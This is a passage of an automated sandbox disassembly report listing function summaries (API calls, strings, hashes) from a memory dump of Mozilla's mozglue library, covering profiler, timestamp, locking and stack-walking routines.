Part of subcall function 6C5B5B50: GetTickCount64.KERNEL32 ref: 6C5B5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5A5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5A5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5A6017

Part of subcall function 6C594310: moz_xmalloc.MOZGLUE(00000010,?,6C5942D2), ref: 6C59436A
Part of subcall function 6C594310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5942D2), ref: 6C594387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5A5F47
GetCurrentProcess.KERNEL32 ref: 6C5A5F53
GetCurrentThread.KERNEL32 ref: 6C5A5F5C
GetCurrentProcess.KERNEL32 ref: 6C5A5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5A5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5A5F27

Part of subcall function 6C5ACA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ACAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A55E1), ref: 6C5A5E8C

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A55E1), ref: 6C5A605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A55E1), ref: 6C5A60CC

Strings

GeckoMain, xrefs: 6C5A5ECE, 6C5A6015

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: c5429e2ec6d1a893f959c8fc7be9752523d53989c79c085772d4a068b4d52132
Instruction ID: e34a573efc1ab7a3fd927938cd6b335a2cc6b9a604c91195f3a8de43b013e6a2
Opcode Fuzzy Hash: c5429e2ec6d1a893f959c8fc7be9752523d53989c79c085772d4a068b4d52132
Instruction Fuzzy Hash: F171C1B0604740DFD700DF6AC880A6ABBF0FF99304F44496EE58687B42D731E889CB56

Function 6C5A9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5931C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C593217
Part of subcall function 6C5931C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C593236
Part of subcall function 6C5931C0: FreeLibrary.KERNEL32 ref: 6C59324B
Part of subcall function 6C5931C0: __Init_thread_footer.LIBCMT ref: 6C593260
Part of subcall function 6C5931C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C59327F
Part of subcall function 6C5931C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C59328E
Part of subcall function 6C5931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5932AB
Part of subcall function 6C5931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5932D1
Part of subcall function 6C5931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5932E5
Part of subcall function 6C5931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5932F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5A9675
__Init_thread_footer.LIBCMT ref: 6C5A9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5A96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5A9707
__Init_thread_footer.LIBCMT ref: 6C5A971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5A9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5A97B7
FreeLibrary.KERNEL32 ref: 6C5A97D0
FreeLibrary.KERNEL32 ref: 6C5A97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5A9824

Strings

ntdll.dll, xrefs: 6C5A96E3
MapViewOfFileNuma2, xrefs: 6C5A97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5A9670
NtMapViewOfSection, xrefs: 6C5A9701

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 14384f321d7c9f6ffa1e2deaecc056c1a1c2348d3b39c7afb52577f38db0d122
Instruction ID: bb1d7af04c5d905e4b53d0470e146dd83c9aba43c0a4d6a2c41ee4072a4f3568
Opcode Fuzzy Hash: 14384f321d7c9f6ffa1e2deaecc056c1a1c2348d3b39c7afb52577f38db0d122
Instruction Fuzzy Hash: D161E170704211DBDF00CFAEECD6B9A7BB1EB8A316F10451AE91583F90D7319855CBA6

Function 6C5F6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C61F618), ref: 6C5F6694
GetThreadId.KERNEL32(?), ref: 6C5F66B1
GetCurrentThreadId.KERNEL32 ref: 6C5F66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5F66E1
EnterCriticalSection.KERNEL32(6C61F618), ref: 6C5F6734
GetCurrentProcess.KERNEL32 ref: 6C5F673A
LeaveCriticalSection.KERNEL32(6C61F618), ref: 6C5F676C
GetCurrentThread.KERNEL32 ref: 6C5F67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C5F6868
RtlCaptureContext.NTDLL ref: 6C5F687F

Strings

WalkStack64, xrefs: 6C5F6890

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 2ffb8159e8dccc77fe271d6451f3785983fec7c4f35f906ba7bb968df81a6aa5
Instruction ID: 508084ad82d42975b30e3c480c6e3c2d8ae640bcbcf50f56801b2980bda5eb0e
Opcode Fuzzy Hash: 2ffb8159e8dccc77fe271d6451f3785983fec7c4f35f906ba7bb968df81a6aa5
Instruction Fuzzy Hash: 8A51CF71A09301AFD718CF29C885A5BBBF4BF89714F00491EF4A997A40DB70D8058F96

Function 6C5DDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5DDE73
GetCurrentThreadId.KERNEL32 ref: 6C5DDF7D
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DDF8A
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DDFC9
GetCurrentThreadId.KERNEL32 ref: 6C5DDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5A4A68), ref: 6C5DDE7B

Part of subcall function 6C5D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5D94EE
Part of subcall function 6C5D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5D9508

Part of subcall function 6C5CCBE8: GetCurrentProcess.KERNEL32(?,6C5931A7), ref: 6C5CCBF1
Part of subcall function 6C5CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5931A7), ref: 6C5CCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5A4A68), ref: 6C5DDEB8
free.MOZGLUE(00000000,?,6C5A4A68), ref: 6C5DDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5DDF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C5DE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C5DDE83
<none>, xrefs: 6C5DDFD7

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: c68b609772ff98c53e00c633ecd2434c74a13a989c83596ca38e55d11354d371
Instruction ID: ff00ab105053131952bfef5f743f38ea4a90a5906cb813549f1610d3b4ac7bff
Opcode Fuzzy Hash: c68b609772ff98c53e00c633ecd2434c74a13a989c83596ca38e55d11354d371
Instruction Fuzzy Hash: 4141D3717012119BDB109B6ECC857AAB775EF8530AF05001AE90997F02DB70A806CBAF

Function 6C5ED840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5ED85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5ED86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5ED918
GetCurrentThreadId.KERNEL32 ref: 6C5ED93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5ED948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5ED970
GetCurrentThreadId.KERNEL32 ref: 6C5ED976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5ED982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5ED9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5EDA2E
GetCurrentThreadId.KERNEL32 ref: 6C5EDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5EDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C5EDA91

Part of subcall function 6C5B5C50: GetTickCount64.KERNEL32 ref: 6C5B5D40
Part of subcall function 6C5B5C50: EnterCriticalSection.KERNEL32(6C61F688), ref: 6C5B5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5EDAB7

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 5f061c7c1ae39d41a8b5a1913b59feeac7f746f50144c27f5acebccd3ac850e0
Instruction ID: f14bf618a07f93ae2bcb5aa27e6d2f5629b22d6d1af314c55ed1cde3f24816ea
Opcode Fuzzy Hash: 5f061c7c1ae39d41a8b5a1913b59feeac7f746f50144c27f5acebccd3ac850e0
Instruction Fuzzy Hash: FD71BA75A04304DFCB00DF2AC888A9ABBF5FFC9354F14856EE85A9B701DB30A945CB95

Function 6C5ED4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5ED4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5ED4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5ED52A
GetCurrentThreadId.KERNEL32 ref: 6C5ED530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5ED53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5ED55F
free.MOZGLUE(00000000), ref: 6C5ED585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5ED5D3
GetCurrentThreadId.KERNEL32 ref: 6C5ED5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5ED605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5ED652
GetCurrentThreadId.KERNEL32 ref: 6C5ED658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5ED667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5ED6A2

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 7f4ee656bdcc9e81505a8ee0deb0b4a56b48f5a22b692f29d41aceaa2e882c93
Instruction ID: 3408ea0fcccc29e959e35605eeaaf6a203ab7ad2a8bb1c1b5168baaff5a9f37a
Opcode Fuzzy Hash: 7f4ee656bdcc9e81505a8ee0deb0b4a56b48f5a22b692f29d41aceaa2e882c93
Instruction Fuzzy Hash: 4E516EB1604705DFC704DF35C888A9ABBF4FF89359F008A2EE85A87B11DB30A955CB95

Function 6C591E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61E784), ref: 6C591EC1
LeaveCriticalSection.KERNEL32(6C61E784), ref: 6C591EE1
EnterCriticalSection.KERNEL32(6C61E744), ref: 6C591F38
LeaveCriticalSection.KERNEL32(6C61E744), ref: 6C591F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C591F83
LeaveCriticalSection.KERNEL32(6C61E784), ref: 6C591FC0
EnterCriticalSection.KERNEL32(6C61E784), ref: 6C591FE2
LeaveCriticalSection.KERNEL32(6C61E784), ref: 6C591FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C592019

Strings

Dal, xrefs: 6C591F32
Dal, xrefs: 6C591F56
\al, xrefs: 6C591F3E
MOZ_CRASH(), xrefs: 6C592000

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dal$Dal$MOZ_CRASH()$\al
API String ID: 2055633661-629186889
Opcode ID: b222122ca630eee4b999c1e27014449a268b7397ebebd7cbecfd52222cedb66a
Instruction ID: 8c655b02701a1a928dc656a94fd5f448d12386e35e767675277f0f40225c3e3e
Opcode Fuzzy Hash: b222122ca630eee4b999c1e27014449a268b7397ebebd7cbecfd52222cedb66a
Instruction Fuzzy Hash: 5541B5B1B043598BEF009FBDCC89B6A3AB5EB9934AF04006AE91597F41D771D804CBD9

Function 6C5B5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5B56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5B56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5B56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5B5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5B57BC
GetTickCount64.KERNEL32 ref: 6C5B58CB
EnterCriticalSection.KERNEL32(6C61F688), ref: 6C5B58F3
__aulldiv.LIBCMT ref: 6C5B5945
LeaveCriticalSection.KERNEL32(6C61F688), ref: 6C5B59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C61F638,?,?,?,?), ref: 6C5B59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5B56CC

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 9840b93af8e3d0c02644f42d11b2cd192627bb808bf6fab601a3c6f68fd0d03d
Instruction ID: a6fe4784dc06eee9827be457748c1c1dc3605c1ae74d8e7b3777cd18795e7c19
Opcode Fuzzy Hash: 9840b93af8e3d0c02644f42d11b2cd192627bb808bf6fab601a3c6f68fd0d03d
Instruction Fuzzy Hash: F9C19F31A083409FD709CF2DC89165ABBF1FFCA755F458A1EE4C4A7A60D730A885CB86

Function 6C5DEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5DEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DEC8C

Part of subcall function 6C5D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5D94EE
Part of subcall function 6C5D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5D9508

GetCurrentThreadId.KERNEL32 ref: 6C5DECA1
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5DECC5
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5DED19
CloseHandle.KERNEL32(?), ref: 6C5DED28
free.MOZGLUE(00000000), ref: 6C5DED2F
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5DEC94

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: c868e9089a8f701590a0a830525b228fd1e61d230083cbfa2bc631b8b97d5046
Instruction ID: ba595038567cc37140182c059a333bb064415d62a277dcacaca152c19985195f
Opcode Fuzzy Hash: c868e9089a8f701590a0a830525b228fd1e61d230083cbfa2bc631b8b97d5046
Instruction Fuzzy Hash: C621E6B1600204DFDB009F1EDC45B9A7779EF8626EF114216F81897F41DB71AC068BAE

Function 6C5D8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C59EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C59EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C5DB392,?,?,00000001), ref: 6C5D91F4

Part of subcall function 6C5CCBE8: GetCurrentProcess.KERNEL32(?,6C5931A7), ref: 6C5CCBF1
Part of subcall function 6C5CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5931A7), ref: 6C5CCBFA

Strings

timeline-ipc, xrefs: 6C5D9096
stack-chart, xrefs: 6C5D90B2
marker-chart, xrefs: 6C5D905E
marker-table, xrefs: 6C5D906C
timeline-memory, xrefs: 6C5D9088
timeline-overview, xrefs: 6C5D907A
timeline-fileio, xrefs: 6C5D90A4
name, xrefs: 6C5D8F16
data, xrefs: 6C5D90E8

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: ea9145f0587ebf64b964516d221b4cfb9e7c73d519176a922035e64e1673e5f5
Instruction ID: ceec88751737ea70f62a1320e475690f653370a9641bf9887698745e0f454d6f
Opcode Fuzzy Hash: ea9145f0587ebf64b964516d221b4cfb9e7c73d519176a922035e64e1673e5f5
Instruction Fuzzy Hash: E4B1A3B0B01209DBDB04CF99CD927AEBBB6BB85318F104519D406ABF80DB71AD45CBD9

Function 6C5BC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5BC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5BC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5BC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5BCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5BCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5BCAA5

Strings

(null), xrefs: 6C5BC596
0, xrefs: 6C5BD30A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 02b79735c7686145dc55fff485fd5a877e53922393c21e220ca4d25e17d7ef02
Instruction ID: 741639930bdc08f5e64f4ee665d97e707b9f58c14aefdf83c274314dd1809222
Opcode Fuzzy Hash: 02b79735c7686145dc55fff485fd5a877e53922393c21e220ca4d25e17d7ef02
Instruction Fuzzy Hash: 5DA18F306083429FDB00DF29C9A4B5ABFE1EF89748F04892DE899A7741D735E805CB96

Function 6C5BC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

